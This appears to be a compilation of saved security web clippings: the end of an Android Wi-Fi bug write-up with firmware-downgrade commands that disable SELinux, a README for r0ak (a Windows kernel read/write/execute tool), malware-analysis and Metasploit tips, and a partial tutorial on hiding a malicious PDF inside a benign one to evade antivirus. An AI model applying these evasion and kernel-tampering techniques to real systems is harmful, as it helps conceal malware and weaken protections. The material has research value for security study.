  * Currently, the Wi-Fi stops working if I trigger the bug, even if I use a payload that doesn't crash the device or the Wi-Fi chip. It just fails to finish connecting to network. An attacker will need to keep the Wi-Fi working to avoid user suspicion and to exfiltrate data.
  * Current payload requires address of buffer that's overflowed + address of dma64\_txfast, both of which differs between phones and firmware versions. Is it possible to develop an exploit that works on all devices?

@nitayart's Black Hat presentation is likely to cover some of these, so don't
miss it.

## Appendix: testing with a different version of firmware

I have my phone updated to the latest version of Android, so when I need to
test this bug, I need to downgrade the Broadcom firmware. Here's how:

[code]

    $ adb shell
    # setenforce 0
    # cp fw_bcmdhd.bin /data/local/tmp/firmware/
    # chmod 755 /data/local/tmp/firmware/fw_bcmdhd.bin
    # mount -o bind /data/local/tmp/firmware /vendor/firmware
    # stop
    # start
    
[/code]

* * *
Zhuowei Zhang \(@zhuowei\), 2017-07-13

  

# ionescu007/r0ak

**Created:**| _9/23/2018 8:58:08 AM_  
---|---  
**Updated:**| _9/23/2018 8:58:08 AM_  
**Author:**| _wishi_  
**Tags:**| _windows security kernel_  
  

  

# Join GitHub today

GitHub is home to over 28 million developers working together to host and
review code, manage projects, and build software together.

Sign up

Find file

Clone or download

###  README.md

r0ak is a Windows command-line utility that enables you to easily read, write,
and execute kernel-mode code \(with some limitations\) from the command
prompt, without requiring anything else other than Administrator privileges.

## Quick Peek

[code]

    r0ak v1.0.0 -- Ring 0 Army Knife
    http://www.github.com/ionescu007/r0ak
    Copyright (c) 2018 Alex Ionescu [@aionescu]
    http://www.windows-internals.com
    
    USAGE: r0ak.exe
           [--execute <Address | module.ext!function> <Argument>]
           [--write   <Address | module.ext!function> <Value>]
           [--read    <Address | module.ext!function> <Size>]
    
[/code]

<img src='img/r0ak-demo.png' width='576' height='426' alt='Screenshot' />

## Introduction

### Motivation

The Windows kernel is a rich environment in which hundreds of drivers execute
on a typical system, and where thousands of variables containing global state
are present. For advanced troubleshooting, IT experts will typically use tools
such as the Windows Debugger \(WinDbg\), SysInternals Tools, or write their
own. Unfortunately, usage of these tools is getting increasingly hard, and
they are themselves limited by their own access to Windows APIs and exposed
features.

Some of today's challenges include:

  * Windows 8 and later support Secure Boot, which prevents kernel debugging \(including local debugging\) and loading of test-signed driver code. This restricts troubleshooting tools to those that have a signed kernel-mode driver.
  * Even on systems without Secure Boot enabled, enabling local debugging or changing boot options which ease debugging capabilities will often trigger BitLocker's recovery mode.
  * Windows 10 Anniversary Update and later include much stricter driver signature requirements, which now enforce Microsoft EV Attestation Signing. This restricts the freedom of software developers as generic "read-write-everything" drivers are frowned upon.
  * Windows 10 Spring Update now includes customer-facing options for enabling HyperVisor Code Integrity \(HVCI\) which further restricts allowable drivers and blacklists multiple 3rd party drivers that had "read-write-everything" capabilities due to poorly written interfaces and security risks.
  * Technologies like Supervisor Mode Execution Prevention \(SMEP\), Kernel Control Flow Guard \(KCFG\) and HVCI with Second Level Address Translation \(SLAT\) are making traditional Ring 0 execution 'tricks' obsoleted, so a new approach is needed.

In such an environment, it was clear that a simple tool which can be used as
an emergency band-aid/hotfix and to quickly troubleshoot kernel/system-level
issues which may be apparent by analyzing kernel state might be valuable for
the community.

### How it Works

#### Basic Architecture

<img src='img/r0ak-archdiag.png' width='576' height='431' alt='Diagram' />

r0ak works by redirecting the execution flow of the window manager's trusted
font validation checks when attempting to load a new font, by replacing the
trusted font table's comparator routine with an alternate function which
schedules an executive work item \(`WORK_QUEUE_ITEM`\) stored in the input
node. Then, the trusted font table's right child \(which serves as the root
node\) is overwritten with a named pipe's write buffer \(`NP_DATA_ENTRY`\) in
which a custom work item is stored. This item's underlying worker function and
its parameter are what will eventually be executed by a dedicated
`ExpWorkerThread` at `PASSIVE_LEVEL` once a font load is attempted and the
comparator routine executes, receiving the name pipe-backed parent node as its
input. A real-time Event Tracing for Windows \(ETW\) trace event is used to
receive an asynchronous notification that the work item has finished
executing, which makes it safe to tear down the structures, free the kernel-
mode buffers, and restore normal operation.

#### Supported Commands

When using the `--execute` option, this function and parameter are supplied by
the user.

When using `--write`, a custom gadget is used to modify arbitrary 32-bit
values anywhere in kernel memory.

When using `--read`, the write gadget is used to modify the system's HSTI
buffer pointer and size \(****N.B.: This is destructive behavior in terms of
any other applications that will request the HSTI data. As this is optional
Windows behavior, and this tool is meant for emergency
debugging/experimentation, this loss of data was considered acceptable****\).
Then, the HSTI Query API is used to copy back into the tool's user-mode
address space, and a hex dump is shown.

Because only built-in, Microsoft-signed, Windows functionality is used, and
all called functions are part of the KCFG bitmap, there is no violation of any
security checks, and no debugging flags are required, or usage of 3rd party
poorly-written drivers.

### FAQ

#### Is this a bug/vulnerability in Windows?

No. Since this tool -- and the underlying technique -- require a SYSTEM-level
privileged token, which can only be obtained by a user running under the
Administrator account, no security boundaries are being bypassed in order to
achieve the effect. The behavior and utility of the tool is only possible due
to the elevated/privileged security context of the Administrator account on
Windows, and is understood to be a by-design behavior.

#### Was Microsoft notified about this behavior?

Of course\! It's important to always file security issues with Microsoft even
when no violation of privileged boundaries seems to have occurred -- their
teams of researchers and developers might find novel vectors and ways to reach
certain code paths which an external researcher may not have thought of.

As such, in November 2014, a security case was filed with the Microsoft
Security Research Centre \(MSRC\) which responded: "_\[…\] doesn't fall into
the scope of a security issue we would address via our traditional Security
Bulletin vehicle. It \[…\] pre-supposes admin privileges -- a place where
architecturally, we do not currently define a defensible security boundary. As
such, we won't be pursuing this to fix._ "

Furthermore, in April 2015 at the Infiltrate conference, a talk titled
_Insection : AWEsomely Exploiting Shared Memory Objects_ was presented
detailing this issue, including to Microsoft developers in attendance, which
agreed this was currently out of scope of Windows's architectural security
boundaries. This is because there are literally dozens -- if not more -- of
other ways an Administrator can read/write/execute Ring 0 memory. This tool
merely allows an easy commodification of one such vector, for purposes of
debugging and troubleshooting system issues.

#### Can't this be packaged up as part of end-to-end attack/exploit kit?

Packaging this code up as a library would require carefully removing all
interactive command-line parsing and standard output, at which point, without
major rewrites, the 'kit' would:

  * Require the target machine to be running Windows 10 Anniversary Update x64 or later
  * Have already elevated privileges to SYSTEM
  * Require an active Internet connection with a proxy/firewall allowing access to Microsoft's Symbol Server
  * Require the Windows SDK/WDK installed on the target machine
  * Require a sensible \_NT\_SYMBOL\_PATH environment variable to have been configured on the target machine, and for about 15MB of symbol data to be downloaded and cached as PDB files somewhere on the disk

Attackers interested in using this particular approach -- versus very many
others more cross-compatible, no-SYSTEM-right-requiring techniques -- likely
already adapted their own code based on the Proof-of-Concept from April 2015
-- more than 3 years ago.

## Usage

### Requirements

Due to the usage of the Windows Symbol Engine, you must have either the
Windows Software Development Kit \(SDK\) or Windows Driver Kit \(WDK\)
installed with the Debugging Tools for Windows. The tool will lookup your
installation path automatically, and leverage the `DbgHelp.dll` and
`SymSrv.dll` that are present in that directory. As these files are not re-
distributable, they cannot be included with the release of the tool.

Alternatively, if you obtain these libraries on your own, you can modify the
source-code to use them.

Usage of symbols requires an Internet connection, unless you have pre-cached
them locally. Additionally, you should setup the `_NT_SYMBOL_PATH` variable
pointing to an appropriate symbol server and cached location.

It is assumed that an IT Expert or other troubleshooter which apparently has a
need to read/write/execute kernel memory \(and has knowledge of the
appropriate kernel variables to access\) is already more than intimately
familiar with the above setup requirements. Please do not file issues asking
what the SDK is or how to set an environment variable.

### Use Cases

  * Some driver leaked kernel pool? Why not call `ntoskrnl.exe!ExFreePool` and pass in the kernel address that's leaking? What about an object reference? Go call `ntoskrnl.exe!ObfDereferenceObject` and have that cleaned up.
  * Want to dump the kernel DbgPrint log? Why not dump the internal circular buffer at `ntoskrnl.exe!KdPrintCircularBuffer`
  * Wondering how big the kernel stacks are on your machine? Try looking at `ntoskrnl.exe!KeKernelStackSize`
  * Want to dump the system call table to look for hooks? Go print out `ntoskrnl.exe!KiServiceTable`

These are only a few examples -- all Ring 0 addresses are accepted, either by
`module!symbol` syntax or directly passing the kernel pointer if known. The
Windows Symbol Engine is used to look these up.

### Limitations

The tool requires certain kernel variables and functions that are only known
to exist in modern versions of Windows 10, and was only meant to work on
64-bit systems. These limitations are due to the fact that on older systems
\(or x86 systems\), these stricter security requirements don't exist, and as
such, more traditional approaches can be used instead. This is a personal tool
which I am making available, and I had no need for these older systems, where
I could use a simple driver instead. That being said, this repository accepts
pull requests, if anyone is interested in porting it.

Secondly, due to the use cases and my own needs, the following restrictions
apply:

  * Reads -- Limited to 4 GB of data at a time
  * Writes -- Limited to 32-bits of data at a time
  * Executes -- Limited to functions which only take 1 scalar parameter

Obviously, these limitations could be fixed by programmatically choosing a
different approach, but they fit the needs of a command line tool and my use
cases. Again, pull requests are accepted if others wish to contribute their
own additions.

Note that all execution \(including execution of the `--read` and `--write`
commands\) occurs in the context of a System Worker Thread at `PASSIVE_LEVEL`.
Therefore, user-mode addresses should not be passed in as
parameters/arguments.

## Contributing

Pull requests are welcome. For major changes, please open an issue first to
discuss what you would like to change.

## License

[code]

    Copyright 2018 Alex Ionescu. All rights reserved. 
    
    Redistribution and use in source and binary forms, with or without modification, are permitted provided
    that the following conditions are met: 
    1. Redistributions of source code must retain the above copyright notice, this list of conditions and
       the following disclaimer. 
    2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions
       and the following disclaimer in the documentation and/or other materials provided with the 
       distribution. 
    
    THIS SOFTWARE IS PROVIDED BY ALEX IONESCU ``AS IS'' AND ANY EXPRESS OR IMPLIED
    WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
    FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ALEX IONESCU
    OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
    CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
    OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
    AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
    NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
    ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    
    The views and conclusions contained in the software and documentation are those of the authors and
    should not be interpreted as representing official policies, either expressed or implied, of Alex Ionescu.
    
[/code]

  

# Portable Executable File Format – A Reverse Engineer View

**Created:**| _8/19/2010 3:54:09 PM_  
---|---  
**Updated:**| _8/19/2010 3:54:57 PM_  
**Author:**| __  
**Tags:**| _windows security reversing windows environment awesome pe_  
  
<img src='img/Temp2_6271' />

# katjahahn/PortEx · GitHub

**Created:**| _6/27/2014 4:21:43 PM_  
---|---  
**Updated:**| _6/27/2014 4:21:43 PM_  
**Author:**| __  
**Tags:**| _Java scala jvm_  
  

# PortEx

###  Welcome to PortEx Alpha

PortEx is a Java library for static malware analysis of portable executable
files.  
PortEx is written in Java and Scala, but targeted at Java applications.  
Visit the PortEx project page.

###  Features \(so far\)

  * Reading header information from: MSDOS Header, COFF File Header, Optional Header, Section Table
  * Reading standard section formats: Import Section, Resource Section, Export Section, Debug Section
  * Dumping of sections, overlay, embedded ZIP, JAR or .class files
  * Scanning for file anomalies, including structural anomalies, deprecated, reserved, wrong or non-default values
  * Visualize PE files
  * Calculate Shannon Entropy for sections
  * Scan for PEiD signatures or your own signature database
  * Scan for Jar to EXE wrapper \(e.g. exe4j, jsmooth, jar2exe, launch4j\)
  * Scan for Unicode and ASCII strings contained in the file
  * Overlay detection
  * Detection Heuristics based on statistical information

For more information have a look at PortEx Wiki and the Documentation

###  Version Information

The current version is in Alpha, so beware of bugs and changes of the API
until the first release. The first release will be in December 2014.

###  Using PortEx

####  Including PortEx to a Maven Project

PortEx will be added to the Central Maven Repository with its first release.
Until then you can include PortEx as follows:

Download portex.pom and portex.jar and install portex to your local Maven
repository as follows:

[code]

    $ mvn install:install-file -Dfile=portex.jar -DpomFile=portex.pom
    
[/code]

Now you can include PortEx to your project by adding the following Maven
dependency:

[code]

    <dependency>
            <groupId>portex</groupId>
            <artifactId>portex_2.10</artifactId>
            <version>0.5.0</version>
    </dependency>
    
[/code]

####  Using the Fat Jar

Alternatively download portex.fat.jar and just include it to your build path.

For more information, read the PortEx Wiki

###  Building PortEx

####  Requirements

PortEx is build with sbt

####  Compile and Build With sbt

To simply compile the project invoke:

[code]

    $ sbt compile
    
[/code]

To create a jar:

[code]

    $ sbt package
    
[/code]

For a fat jar \(not recommended\):

[code]

    $ sbt assembly
    
[/code]

####  Create Eclipse Project

You can create an eclipse project by using the sbteclipse plugin. Add the
following line to _project/plugins.sbt_ :

[code]

    addSbtPlugin("com.typesafe.sbteclipse" % "sbteclipse-plugin" % "2.4.0")
    
[/code]

Generate the project files for Eclipse:

[code]

    $ sbt eclipse
    
[/code]

Import the project to Eclipse via the _Import Wizard_.

###  Author and Contact

Katja Hahn  
E-Mail: portx \(at\) gmx \(dot\) de

###  License

Apache License, Version 2.0

# Loading only the Metasploit modules you use « 0x0e.org | a pentester's view
**Created:**| _11/14/2010 4:13:11 PM_  
---|---  
**Updated:**| _11/14/2010 4:13:35 PM_  
**Author:**| __  
**Tags:**| _ruby Metasploit programming windows environment_  
  

## Loading only the Metasploit modules you use 2 comments

The framework is taking quite a while to load on my machine these days, so i
decided to stop loading all modules by default, and load only those modules i
need. Here’s the process:

Simply comment the module-loading lines in the framework file
lib/msf/base/simple/framework.rb, so :

[code]

    if (Msf::Config.module_directory)
    
    framework.modules.add_module_path(Msf::Config.module_directory)
    
    end
    
    
[/code]

becomes

[code]

    #if (Msf::Config.module_directory)
    
    #framework.modules.add_module_path(Msf::Config.module_directory)
    
    #end
    
    
[/code]

Or you can apply this patch: http://www.0x0e.org/x/framework-no-default-
mods.patch

Alos make sure to remove the ~/.msf3/modcache directory.

Then, mirroring the framework modules directory structure, copy the modules
you’d like to load into your .msf3/modules directory. For example, if you
wanted to load only the psexec module and the reverse\_tcp payload, copy

  * modules/exploits/windows/smb/psexec.rb into ~/.msf3/modules/exploits/windows/smb/psexec.rb
  * modules/payloads/stagers/windows/reverse\_tcp.rb into ~/.msf3/modules/payloads/stagers/windows/reverse\_tcp.rb

You should now see a load-time speed improvement on the order of:

Before:

[code]

    <pre>jcran@disko:~/framework$ time ./msfconsole -r exit.rc
    
                    |                    |      _) |
     __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|
     |   |   |  __/ |   (   |\__ \ |   | | (   | | |
    _|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
                                  _|
    
           =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
    + -- --=[ 630 exploits - 310 auxiliary
    + -- --=[ 215 payloads - 27 encoders - 8 nops
           =[ svn r10985 updated today (2010.11.11)
    
    resource (exit.rc)> exit
    resource (exit.rc)> exit
    
    real    0m42.750s
    user    0m40.710s
    sys     0m0.820s</pre>
    
    
[/code]

After:

[code]

    <pre>jcran@disko:~/framework$ time ./msfconsole -r exit.rc
    
                     o                       8         o   o
                     8                       8             8
    ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
    8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
    8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
    8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
    ..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
    ::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    
           =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
    + -- --=[ 1 exploits - 0 auxiliary
    + -- --=[ 1 payloads - 0 encoders - 0 nops
           =[ svn r10985 updated today (2010.11.11)
    
    resource (exit.rc)> exit
    resource (exit.rc)> exit
    
    real    0m12.232s
    user    0m11.340s
    sys     0m0.510s</pre>
    
    
[/code]

  
Not huge, but definitely an improvement.

# Download 64-bit \(x64\) utilities package for Windows

**Created:**| _12/8/2009 8:43:59 AM_  
---|---  
**Updated:**| _12/8/2009 8:44:23 AM_  
**Author:**| __  
**Tags:**| _windows reversing_  
  
| |   
---|---  
<img src='img/Temp2_2369.gif' />|  
|  
| Main Page  
  
---  
Blog  
  
Search  
  
FAQ  
  
TOP 10  
  
Links  
  
Awards  
  
Pad Files  
  
Contact  
  
About...  
  
  
All Utilities  
  
---  
Password Tools  
  
System Tools  
  
Browser Tools  
  
Programmer Tools  
  
Network Tools  
  
64-bit Download  
  
Coupons  
  
Components  
  
Panel  
  
Code Samples  
  
Articles  
  
| |   
---  
| | Download 64-bit \(x64\) utilities package for Windows   
---  
<img src='img/Temp2_2370.gif' width='125' height='16' />

This package contains all utilities in NirSoft that have a separated build for
64-bit versions \(x64\) of Windows. This package contains the help file
\(.chm\) and the x64 .exe file for every utility in the list below. You can
download the entire package in zip file from here.

Be aware that you can only run these .exe files on x64 version of Windows. If
you try to run them on 32-bit system, you'll get "xyz is not a valid Win32
application" error message.

Here's the list of all 64-bit utilities that this package contains:

CurrPorts| CurrPorts displays the list of all currently opened TCP/IP and UDP
ports on your local computer. For each port in the list, information about the
process that opened the port is also displayed, including the process name,
full path of the process, version information of the process \(product name,
file description, and so on\), the time that the process was created, and the
user that created it.  
In addition, CurrPorts allows you to close unwanted TCP connections, kill the
process that opened the ports, and save the TCP/UDP ports information to HTML
file , XML file, or to tab-delimited text file.  
---|---  
Network Password Recovery| When you connect to a network share on your LAN or
to your .NET Passport account, Windows allows you to save your password in
order to use it in each time that you connect the remote server. This utility
recovers all network passwords stored on your system for the current logged-on
user. It can also recover the passwords stored in Credentials file of external
drive, as long as you know the last log-on password.  
SpecialFoldersView| Windows operating system have dozens of special folders
that are used for storing application settings and files, storing Internet
files, saving temporary files, storing shortcuts to other files, and so on.
This utility displays the list of all special folders in your system, and
allows you to easily jump to the right folder simply by double-clicking the
folder item. You can also save the list of all folder paths into text/html/xml
file.  
ProduKey| ProduKey is a small utility that displays the ProductID and the CD-
Key of MS-Office, Windows, Exchange Server, and SQL Server installed on your
computer. You can view this information for your current running operating
system, or for another operating system/computer. This utility can be useful
if you lost the product key of your Windows/Office, and you want to reinstall
it on your computer.  
RegScanner| RegScanner is a small utility that allows you to scan the
Registry, find the desired Registry values that match to the specified search
criteria, and display them in one list. After finding the Registry values, you
can easily jump to the right value in RegEdit, simply by double-clicking the
desired Registry item. You can also export the found Registry values into a
.reg file that can be used in RegEdit.  
FileTypesMan| FileTypesMan is an alternative to the 'File Types' tab in the
'Folder Options' of Windows. It displays the list of all file extensions and
types registered on your computer. For each file type, the following
information is displayed: Type Name, Description, MIME Type, Perceived Type,
Flags, Browser Flags, and more. FileTypesMan also allows you to easily edit
the properties and flags of each file type, as well as it allows you to add,
edit, and remove actions in a file type.  
ShellExView| Shell Extensions are in-process COM objects which extends the
abilities of Windows operating system. Most shell extensions are automatically
installed by the operating system, but there are also many other applications
that install additional shell extension components. For example: If you
install WinZip on your computer, you'll see a special WinZip menu when you
right-click on a Zip file. This menu is created by adding a shell extension to
the system. The ShellExView utility displays the details of shell extensions
installed on your computer, and allows you to easily disable and enable each
shell extension.  
ShellMenuView| ShellMenuView is a small utility that display the list of
static menu items that appeared in the context menu when you right-click a
file/folder on Windows Explorer, and allows you to easily disable unwanted
menu items.  
SysExporter| SysExporter utility allows you to grab the data stored in
standard list-views, tree-views, list boxes, combo boxes, text-boxes, and
WebBrowser/HTML controls from almost any application running on your system,
and export it to text, HTML or XML file.  
Here's some examples for data that you can export with SysExporter:

  * The files list inside archive file \(.zip, .rar, and so on\) as displayed by WinZip or 7-Zip File Manager.
  * The files list inside a folder.
  * The event log of Windows.
  * The list of emails and contacts in Outlook Express.
  * The Registry values displayed in the right pane of the Registry Editor.
  * The data displayed by SysInternals utilities \(Registry Monitor, File Monitor, Process Explorer, and others.\)
  * The text inside a standard message-box of Windows.
  * The HTML inside any instance of Internet Explorer.

  
Volumouse| Volumouse provides you a quick and easy way to control the sound
volume on your system - simply by rolling the wheel of your wheel mouse. It
allows you to define a set of rules for determining when the wheel will be
used for changing the sound volume. For example: You can configure Volumouse
to use your mouse wheel for volume control when the Alt key is hold down, when
the left mouse button is down, when the mouse cursor is over the taskbar, and
so on... When the conditions that you define are not satisfied, your mouse
wheel will be used for the regular scrolling tasks, exactly as before.  
DriverView| DriverView utility displays the list of all device drivers
currently loaded on your system. For each driver in the list, additional
useful information is displayed: load address of the driver, description,
version, product name, company that created the driver, and more.  
RegDllView| RegDllView is a small utility that displays the list of all
registered dll/ocx/exe files \(COM registration\). For each registered file,
you can view the last date/time that it was registered, and the list of all
registration entries \(CLSID/ProgID\).  
RegDllView also allows you to unregister dll/ocx files that you don't need on
your system anymore. If you have dll/ocx files that don't exist on your system
anymore, but their registration entries are still exist in your Registry, you
can manually remove these entries by using 'Delete All Entries For Selected
Files' option.  
ProcessActivityView| ProcessActivityView creates a summary of all files and
folders that the selected process tries to access. For each file that the
process access, the following information is displayed: Number of times that
the file was opened and closed, number of read/write calls, total number of
read/write bytes, the dll that made the last open-file call, and more...  
RegFromApp| RegFromApp monitors the Registry changes made by the application
that you selected, and creates a standard RegEdit registration file \(.reg\)
that contains all the Registry changes made by the application. You can use
the generated .reg file to import these changes with RegEdit when it's needed.  
DLL Export Viewer| This utility displays the list of all exported functions
\(c++\) and their virtual memory addresses for the specified DLL files. You
can easily copy the memory address of the desired function, paste it into your
debugger, and set a breakpoint for this memoery address. When this function is
called, the debugger will stop in the beginning of this function.  
HeapMemView| HeapMemView is a small utility that allows you to view the
content of all memory blocks allocated in the heap of the process the you
select.  
This tool can be useful for developers that need to trace memory leaks in
their software.  
GDIView| GDIView is a unique tool that displays the list of GDI handles
\(brushes, pens, fonts, bitmaps, and others\) opened by every process. It
displays the total count for each type of GDI handle, as well as detailed
information about each handle.  
This tool can be useful for developers that need to trace GDI resources leak
in their software.  
RunAsDate| RunAsDate is a small utility that allows you to run a program in
the date and time that you specify. This utility doesn't change the current
system date and time of your computer, but it only injects the date/time that
you specify into the desired application. You can run multiple applications
simultaneously, each application works with different date and time, while the
real date/time of your system continues to run normally.

# Command Line Kung Fu: Episode \#2 - Looking at the Config of Built-In
Firewall

**Created:**| _5/16/2009 10:36:45 AM_  
---|---  
**Updated:**| _5/16/2009 10:36:48 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#2 - Looking at the Config of Built-In Firewall

Ed's netsh Kung Fu:  
  
On a Windows box, show all ports allowed through the built-in firewall:  
  

C:\> **netsh firewall show portopening**

  
Show all programs allowed to communicate through the built-in firewall:  
  

C:\> **netsh firewall show allowedprogram**

  
Show all configuration options of built-in firewall:  
  

C:\> **netsh firewall show config**

  
Gosh, I love the netsh command\!  
  
Paul's Comments:  
  
On Linux, list all iptables firewall rules in all chains:  
  

\# **iptables -t nat -nL**  
\# **iptables -t mangle -nL**  
\# **iptables -t filter -nL**  
\# **iptables -t raw -nL**

  
I find it important to list out all chains in all tables so there are no rules
that "hide" from you. Also, the "-n" is important to avoid reverse lookups
that could take a long time to run. It would be nice to run in this in one
command...  
  
Hal's Comments:  
  
Paul, you mean one command like this?  
  

\# **for type in nat mangle filter raw; do iptables -t $type -nL; done**

  
OK, maybe it's not strictly speaking one command, but it's at least one
command line. :-\) I also like using the "-v" option when dumping my iptables
chains so that I can see the number of times a given rule and/or chain was
triggered.  
  
Paul's Comments:  
  
Yes, that's exactly what I need\! Often times during a penetration test, or
even during normal systems administration troubleshooting, I want to see ALL
the iptables rules. In a penetration test this is an information gathering
exercise, in addition to gaining an understanding of how to communicate with
the host we've compromised. For systems administration I will often setup
iptables rules, either in place of or in addition to a network-based firewall.
This command is useful to see the rules in all tables and chains to hunt down
any connectivity issues.

# Generic PDF exploit hider. embedPDF.py and goodbye AV detection \(01/2010\)
« Feliam's Blog

**Created:**| _1/13/2010 1:32:59 PM_  
---|---  
**Updated:**| _1/13/2010 1:33:11 PM_  
**Author:**| __  
**Tags:**| _Exploit Malware-analysis Tutorials_  
  

## Generic PDF exploit hider. embedPDF.py and goodbye AV detection \(01/2010\)

By feliam

This post is about hiding an evil PDF into a saint PDF. The objective is to embed a pdf into another pdf, and make the reader parse the embedded one without user intervention. If we manage to do this we’ll be able to ‘filter’ the embedded file and hide it through some pdf encoding filters \(flatedecode, crypt, etc\), that way making it invisible from the outside. And at last, as we’ll be using miniPDF.py, we’ll pass everything through the \(unfinished\) obfuscated version of the miniPDF.py lib,here. | <img src='img/Temp2_3460.png' />  
---|---  
Hey\! But, can we embed files into a PDF at all? Well as stated here …

> ### PDS3200:2008::7.11.4 Embedded File Streams
> If a PDF file contains file specifications that refer to an external file
> and the PDF file is archived or transmitted, some provision should be made
> to make sure that the external references will remain valid. One way to do
> this is to arrange for copies of the external files to accompany the PDF
> file. Embedded file streams \(PDF 1.3\) address this problem by allowing the
> contents of referenced files to be embedded directly within the body of the
> PDF file. This makes the PDF file a self-contained unit that can be stored
> or transmitted as a single entity. \(The embedded files are included purely
> for convenience and need not be directly processed by any conforming
> reader.\)
.. YES we can. There are probably other ways to embed files, as in the
relatively new PDF ‘collection’ thing, but that’s other story.

## I\) Embeed a PDF into a PDF

OK, let’s start\! First thing we need is a clean PDF to hide. I needs to be
one with a correct xref and with a clean overall file structure. So, for a
start we hide a good pdf, then we’ll see how to embed a bad one. There is a
clean minimalistic text displaying pdf generated in this post, the pdf here.

Now we need to construct the host pdf. We are not really interesting in
putting anything here so let’s construct an empty pdf \(mostly as done for the
JS-to\_PDF post, here\).

As in the earlier post first we import the lib and create a PDFDoc object
representing a document in memory …

from miniPDF import \*  
\#The PDF document  
doc= PDFDoc\(\)

Prepare the Pages dictionary, wich is in charge of linking to the pages..

pages = PDFDict\(\)  
pages.add\(‘Type’, PDFName\(‘Pages’\)\)  
doc.add\(pages\)

Prepare the Catalog dictionary.

catalog = PDFDict\(\)  
catalog.add\(‘Type’, PDFName\(‘Catalog’\)\)  
catalog.add\(‘Pages’, PDFRef\(pages\)\)  
doc.add\(catalog\)

The Catalog dictionary is the main root object of the PDF…

doc.setRoot\(catalog\)

We don’t really need any content on our pdf hosting PDF.  
We add an empty content for the dummy page,

contents = PDFStream\(”\)  
doc.add\(contents\)

and the single dummy page. Check out we NEED to honnor the Parent linking to
the Pages dictionary, otherwise our magic won’t work.

page = PDFDict\(\)  
page.add\(‘Type’, PDFName\(‘Page’\)\)  
page.add\(‘Parent’, PDFRef\(pages\)\)  
page.add\(‘Contents’, PDFRef\(contents\)\) \#<\- NEEDED\!  
doc.add\(page\)

And finally populate the pages dictionary.

\#link the page to the pages list  
pages.add\(‘Kids’,PDFArray\(\[PDFRef\(page\)\]\)\)  
pages.add\(‘Count’, PDFNum\(1\)\)

And with this ..

print doc

it renders the incomplete base PDF to the stdout. Something like this.

<img src='img/Temp2_3458.png' width='200' />| <img src='img/Temp2_3457.png'
width='190' height='/' />  
---|---  
The incomplete pdf is here and the incomplete py, here. OK, we have an empty
base pdf, now let’s ..

## Insert an embedded file.

For this we need to

  1. add the EmbeddedFile stream containing the actual embedded file data,
  2. build a FileSpec dictionary for it,
  3. construct the EmbeddedFiles list and
  4. put that under the global names list in the Catalog.

##### \(1\) To add the EmbeddedFile stream to the document do something like
this.

Get the filename to hide form the parameters, and load its content to memory…

import sys  
fileStr = file\(sys.argv\[1\]\).read\(\)

Construct a EmbeddedFile Dictionary as stated in
PDF3200:2008.1::7.11.4\(Embedded File Streams\)

ef = PDFStream\(fileStr\)  
ef.add\(‘Type’, PDFName\(‘EmbeddedFile’\)\)  
ef.add\(‘Subtype’,PDFName\(‘application\#2Fpdf’\)\)  
ef.add\(‘Params’,PDFDict\(\{‘Size’: PDFNum\(len\(fileStr\)\),  
‘CheckSum’: PDFOctalString\(md5.new\(fileStr\).digest\(\)\)\}\) \)  
ef.add\(‘DL’, ‘ %d ‘%len\(fileStr\)\)

Note that.. the ‘Type’, ‘SubType’ and ‘Params’ tags are not strictly necesary.

EXAMPLE: If we embeed a file containin only “AAAA” the resulting EmbeddedFile
stream will look like…

[code]

    N 0 obj
    <<
      /Type /EmbeddedFile
      /Subtype /application#2Fpdf
      /DL  4
      /Length 4
      /Params <<  /CheckSum (\256\133\106\214\16707\241\363\323...
                  /Size 5
              >>
    >>
    stream
    AAAA
    endstream
    endobj
    
    
[/code]

##### \(2\) Now we’ll construct the FileSpec dictionary for it.

As stated in the rather confusing PDF3200:2008.1::7.11.3\(File Specification
Dictionaries\), a file specification dictionary for an embedded file will need
to have this tags on it…

**Key**| **Type**| **Value**  
---|---|---  
Type | Name | The type of PDF object that this dictionary describes; shall be Filespec for a file specification dictionary.   
F | string | A file specification string of the form described in PF3200:2008.1::7.11.2, “File Specification Strings,”   
EF | dictionary | A dictionary containing a subset of the keys F, UF, DOS, Mac, and Unix, corresponding to the entries by those names in the file specification dictionary. The value of each such key shall be an embedded file stream \(see 7.11.4, “Embedded File Streams”\) containing the corresponding file. If this entry is present, the Type entry is required and the file specification dictionary shall be indirectly referenced.  
The F and UF entries should be used in place of the DOS, Mac, or Unix entries.  
So, my version of the FileSpec dictionary follows.

We need a dictionary containing a subset of the keys F, UF, DOS, Mac, and
Unix, corresponding to the entries by those names in the file specification
dictionary. And then put that under the EF tag in the Filespec dictionary.
Damn\! This is confusing. Basically we need a dictionary that looks like this…

[code]

    << /F N 0 R  >>
    
    
[/code]

Where “N 0 R” refer to the embeddedFile Stream object. Here you have the
code..

embeddedlst = PDFDict\(\)  
embeddedlst.add\(‘F’,PDFRef\(embedded\)\)

Let’s construct the actual Filespec dictionary. Note that I’ve hardcoded the
